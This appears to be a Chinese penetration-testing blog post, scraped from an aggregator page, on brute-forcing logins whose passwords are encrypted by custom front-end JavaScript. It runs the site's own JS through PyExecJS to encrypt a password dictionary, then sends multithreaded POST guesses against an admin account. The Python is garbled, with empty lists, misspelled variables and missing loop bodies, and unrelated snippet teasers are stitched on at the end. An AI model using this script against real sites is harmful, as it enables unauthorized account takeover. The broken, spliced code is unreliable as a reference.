在滲透測試中,有時使用者密碼在傳輸時加密方式是用自定義編寫的js指令碼加密,不能直接用來爆破,但我們可以利用其自定義的js將字典加密後多執行緒爆破。
思路有兩種,一種是分析js**,分析出其加密演算法,然後我們轉換成我們熟悉的程式語言得到加密後的字典進行爆破;另一種思路是不用分析js**,直接利用現成的js,將字典傳入js加密後得到js的返回結果進行爆破。這裡文章主要講第二種,直接利用其js。
第一種方法一般用於簡單的js**,我們可以很簡單的看出其演算法。大家可以參考繞過前端加密 這篇文章。
第二種方法,我們直接利用js,不用分析js演算法如何,首先需要安裝execjs。
pip install pyexecjs這裡我們用md5.js為例利用,將md5.js儲存在本地。
我們不用分析js是如何計算的,但我們要知道js利用的函式名稱,md5.js中得到最後加密結果的函式是hex_md5();利用以下**即可獲得加密後的結果。
import execjs
with open ('md5.js','r') as jj:
source = jj.read()
phantom = execjs.get('phantomjs')
getpass = phantom.compile(source)
mypass = getpass.call('hex_md5', 'admin') #hex_md5是函式名稱
print (mypass)
這樣我們就可以編寫乙個加密函式getpass(),然後將整本字典跑完後傳送requests包進行爆破。
為什麼要先處理字典呢,因為滲透測試過程中,我們的字典可能不是幾十條的小資料,有時可能達到幾十兆,面對如此多的資料,如果一條一條加密返回那麼太浪費時間了,所以我們需要多執行緒。
每個執行緒處理的字典數應該是總字典數除於執行緒數,而且應該向上取整,例如我們設定執行緒是10,如果一本字典500條,那麼乙個執行緒處理的字典數就是50條;如果是505條,那麼平均每個執行緒的處理字典數是50.5條,我們需要取51條,那麼就是前9個執行緒處理51條,最後乙個執行緒處理剩餘的字典數。
我們整理後的字典是什麼樣呢,是以列表為元素的列表集合,[,,]其中的每乙個元素是該執行緒處理的字典內容。
import math
import threading
thread=10
resulit_list= #結果列表,元素為該執行緒處理的字典內容
thread_list= #執行緒列表,元素為處理字典的執行緒
with open ("dict.txt","r") as f:
dict_list=f.readlines()
if len(dict_list)%thread==0:
each_thread=len(dict_list)/thread
else:
eacg_thread=math.ceil(len(dict_list)/thread) #math.ceil是向上取整
i=0temp_list= #快取列表,用來存放目前執行緒中的字典內容
for line in dict_list:
i=i+1
if i%each_thread ==0: #說明該執行緒處理內容已滿
temp_list= #清空快取列表,用於存放下乙個執行緒的處理內容
else:
所以內容處理結果最後會儲存在result_list中,並且有10個元素,分別代表10個執行緒所處理的內容,我們將10個執行緒加入我們的執行緒列表中。
for i in result_list:
for t in thread_list:
t.start() #啟動所有執行緒
下面缺少的就是爆破函式brute(),函式很簡單,傳送requests包並檢驗返回包中內容是否有錯誤語句和字段來判斷是否爆破成功。
def brute(dict):
url= ""
headers =
import requests
for line in dict:
payload="username=admin&password=%s" %line
response=requests.post(url=url,data=payload,headers=headers,timeout=5)
result=response.content
if result.count("fail")<1 #判斷頁面中是否有fail內容
print("success! password is %s"%line)
else:
pass
python 自定義加密與解密
import tkinter import webbrowser import re 本程式是乙個中文字元和中文檢測工具 中文字元自己新增,我只新增了一點 輸入字串,點選檢查文字即可判斷有沒有中文字元 qianxiao996精心製作 win tkinter.tk win.title 中文字元檢測工具...
php加密自定義版權,PHP自定義加密方式
這篇文章主要介紹了php自定義加密方式,有著一定的參考價值,現在分享給大家,有需要的朋友可以參考一下 簡單編碼函式 與php decode函式對應 function php encode str ord 函式返回字串的首個字元的 ascii 值。chr 函式從指定的 ascii 值返回字元。簡單解碼...
編寫自定義特性
自定義特性一般標註在作用的程式元素的上方 編譯器首先組合特性名稱和attribute,然後尋找該組合名,所以特性名為fieldname和fieldnameattribute的兩個特性沒有區別 編譯器將尋找包含有這個名稱的類,它直接或者間接的派生資system.attribute 編寫自定義類的步驟 ...